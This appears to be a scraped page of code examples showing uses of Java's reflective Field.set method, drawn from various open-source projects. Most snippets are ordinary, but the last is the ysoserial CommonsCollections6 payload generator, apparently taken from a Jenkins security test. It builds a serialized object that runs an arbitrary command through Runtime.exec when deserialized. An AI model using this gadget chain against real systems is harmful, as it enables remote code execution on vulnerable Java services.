Example usage for java.lang.reflect Field set

List of usage examples for java.lang.reflect Field set

Introduction

In this page you can find the example usage for java.lang.reflect Field set.

Prototype

@CallerSensitive
@ForceInline 
public void set(Object obj, Object value) throws IllegalArgumentException, IllegalAccessException 

Source Link

Document

Sets the field represented by this Field object on the specified object argument to the specified new value.

Usage

From source file:com.miranteinfo.seam.core.Init.java

@Observer("org.jboss.seam.postInitialization")
public void configure() throws Exception {

    boolean sessionFactoryConfigured = false;
    Object component = null;//from  w  ww. j  a v a2  s  .  c om

    for (String name : Contexts.getApplicationContext().getNames()) {
        component = Contexts.getApplicationContext().get(name);

        if (component instanceof EntityManagerFactory) {

            javax.persistence.EntityManagerFactory emf = ((EntityManagerFactory) component)
                    .getEntityManagerFactory();
            Field field = emf.getClass().getDeclaredField("sessionFactory");
            field.setAccessible(true);
            Object sf = field.get(emf);
            field.set(emf, Proxy.newProxyInstance(Init.class.getClassLoader(), sf.getClass().getInterfaces(),
                    new SessionFactoryProxy((SessionFactory) sf)));
            configure((SessionFactoryImpl) sf);
            sessionFactoryConfigured = true;

        } else if (component instanceof HibernateSessionFactory) {

            HibernateSessionFactory hsf = (HibernateSessionFactory) component;
            Field field = HibernateSessionFactory.class.getDeclaredField("sessionFactory");
            field.setAccessible(true);
            SessionFactory sf = hsf.getSessionFactory();
            field.set(hsf, Proxy.newProxyInstance(Init.class.getClassLoader(), sf.getClass().getInterfaces(),
                    new SessionFactoryProxy(sf)));
            configure((SessionFactoryImpl) sf);
            sessionFactoryConfigured = true;

        }

    }

    if (!sessionFactoryConfigured) {
        log.warn("No SessionFactory is configured...");
    }

}

From source file:net.camelpe.extension.cdi.spi.CamelInjectionTargetWrapper.java

private void setField(final T instance, final Field fieldToSet, final Object valueToInject)
        throws ResolutionException {
    try {/* ww  w.  j  av a2  s.  com*/
        fieldToSet.setAccessible(true);
        fieldToSet.set(instance, valueToInject);
    } catch (final Exception e) {
        throw new ResolutionException("Failed to inject [" + valueToInject + "] into field [" + fieldToSet
                + "] on instance [" + instance + "]: " + e.getMessage(), e);
    }
}

From source file:net.mindengine.blogix.db.readers.ObjectReader.java

private void setEntryItselfIntoObject(Entry entry, T objectInstance)
        throws IllegalArgumentException, IllegalAccessException {
    Field entryField = getObjectFields().get("entry");
    if (entryField != null) {
        if (entryField.getType().equals(Entry.class)) {
            entryField.setAccessible(true);
            entryField.set(objectInstance, entry);
        }// www.  j av  a 2s  . co m
    }
}

From source file:com.graphaware.importer.cache.BaseCaches.java

/**
 * {@inheritDoc}/*from  w  w w . j a v  a2  s  . com*/
 */
@Override
public void inject(Importer importer) {
    Assert.notNull(importer);

    for (Field field : ReflectionUtils.getAllFields(importer.getClass())) {
        if (field.getAnnotation(InjectCache.class) != null) {
            field.setAccessible(true);
            try {
                field.set(importer, getCache(field.getAnnotation(InjectCache.class).name()));
            } catch (IllegalAccessException e) {
                throw new RuntimeException(e);
            }
        }
    }
}

From source file:net.ceos.project.poi.annotated.core.CsvHandler.java

/**
 * Apply a Boolean value to the object./*  ww  w . ja  v a 2 s.  c  om*/
 * 
 * @param o
 *            the object
 * @param field
 *            the field
 * @param xlsAnnotation
 *            the {@link XlsElement} annotation
 * @param values
 *            the array with the content at one line
 * @param idx
 *            the index of the field
 * @throws ConverterException
 *             the conversion exception type
 */
protected static void booleanReader(final Object o, final Field field, final XlsElement xlsAnnotation,
        final String[] values, final int idx) throws ConverterException {
    String bool = values[idx];
    try {
        if (StringUtils.isNotBlank(xlsAnnotation.transformMask())) {
            /* apply format mask defined at transform mask */
            String[] split = xlsAnnotation.transformMask().split(Constants.SLASH);
            field.set(o, StringUtils.isNotBlank(bool) ? (split[0].equals(bool) ? true : false) : null);

        } else {
            /* locale mode */
            field.set(o, StringUtils.isNotBlank(bool) ? Boolean.valueOf(bool) : null);
        }
    } catch (IllegalArgumentException | IllegalAccessException e) {
        throw new ConverterException(ExceptionMessage.CONVERTER_BOOLEAN.getMessage(), e);
    }
}

From source file:com.fine47.http.SecureSocketFactory.java

/**
 * Pre-ICS Android had a bug resolving HTTPS addresses. This workaround
 * fixes that bug./*  w w w. j av  a2s .com*/
 *
 * @param socket The socket to alter
 * @param host Hostname to connec to
 * @see <a href="https://code.google.com/p/android/issues/detail?id=13117#c14">Details about this workaround</a>
 */
private void injectHostname(Socket socket, String host) {
    if (14 > android.os.Build.VERSION.SDK_INT) {
        try {
            Field field = InetAddress.class.getDeclaredField("hostName");
            field.setAccessible(true);
            field.set(socket.getInetAddress(), host);
        } catch (Exception ignored) {
        }
    }
}

From source file:Employee.java

 @PostConstruct
public void jndiInject(InvocationContext invocation) {
   Object target = invocation.getTarget();
   Field[] fields = target.getClass().getDeclaredFields();
   Method[] methods = target.getClass().getDeclaredMethods();

   // find all @JndiInjected fields methods and set them
   try {/*from ww  w  . j  ava  2s.  c om*/
      InitialContext ctx = new InitialContext();
      for (Method method : methods) {
         JndiInjected inject = method.getAnnotation(JndiInjected.class);
         if (inject != null) {
            Object obj = ctx.lookup(inject.value());
            method.setAccessible(true);
            method.invoke(target, obj);
         }
      }
      for (Field field : fields) {
         JndiInjected inject = field.getAnnotation(JndiInjected.class);
         if (inject != null) {
            Object obj = ctx.lookup(inject.value());
            field.setAccessible(true);
            field.set(target, obj);
         }
      }
      invocation.proceed();
   } catch (Exception ex) {
      throw new EJBException("Failed to execute @JndiInjected", ex);
   }
}

From source file:com.erinors.hpb.server.handler.JavaBeanHandler.java

private Object copyBean(Object object, ObjectCopier objectCopier, Context context) {
    Class<?> clazz = object.getClass();

    Object result;//from   w w  w .  ja v  a  2 s . c  om
    try {
        Constructor<?> constructor = ClassUtils.getAccessibleInstanceConstructor(clazz);
        result = constructor.newInstance();
    } catch (Exception e) {
        throw new RuntimeException("Cannot instantiate: " + object.getClass(), e);
    }

    context.addProcessedObject(object, result);

    List<Field> fields = new LinkedList<Field>();
    ClassUtils.collectCloneableFields(clazz, fields);

    for (Field field : fields) {
        try {
            ReflectionUtils.makeAccessible(field);

            Object fieldValue = field.get(object);
            Object processedFieldValue = objectCopier.processObject(fieldValue);
            field.set(result, processedFieldValue);
        } catch (Exception e) {
            throw new RuntimeException("Cannot copy field: " + field, e);
        }
    }

    return result;
}

From source file:com.kegare.caveworld.util.CaveConfiguration.java

private void setNewCategoriesMap() {
    try {//from  w w  w.  j a v  a 2  s.c o  m
        Field field = Configuration.class.getDeclaredField("categories");
        field.setAccessible(true);

        TreeMap<String, ConfigCategory> treeMap = (TreeMap) field.get(this);
        TreeMap<String, ConfigCategory> newMap = Maps.newTreeMap(this);
        newMap.putAll(treeMap);

        field.set(this, newMap);
    } catch (Throwable e) {
    }
}

From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections6.java

public Serializable getObject(final String command) throws Exception {

    final String[] execArgs = new String[] { command };

    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                    new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                    new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

    Transformer transformerChain = new ChainedTransformer(transformers);

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

    HashSet map = new HashSet(1);
    map.add("foo");
    Field f = null;/*from   w w w  . j  a  v a  2 s . c  om*/
    try {
        f = HashSet.class.getDeclaredField("map");
    } catch (NoSuchFieldException e) {
        f = HashSet.class.getDeclaredField("backingMap");
    }

    f.setAccessible(true);
    HashMap innimpl = (HashMap) f.get(map);

    Field f2 = null;
    try {
        f2 = HashMap.class.getDeclaredField("table");
    } catch (NoSuchFieldException e) {
        f2 = HashMap.class.getDeclaredField("elementData");
    }

    f2.setAccessible(true);
    Object[] array = (Object[]) f2.get(innimpl);

    Object node = array[0];
    if (node == null) {
        node = array[1];
    }

    Field keyField = null;
    try {
        keyField = node.getClass().getDeclaredField("key");
    } catch (Exception e) {
        keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
    }

    keyField.setAccessible(true);
    keyField.set(node, entry);

    return map;

}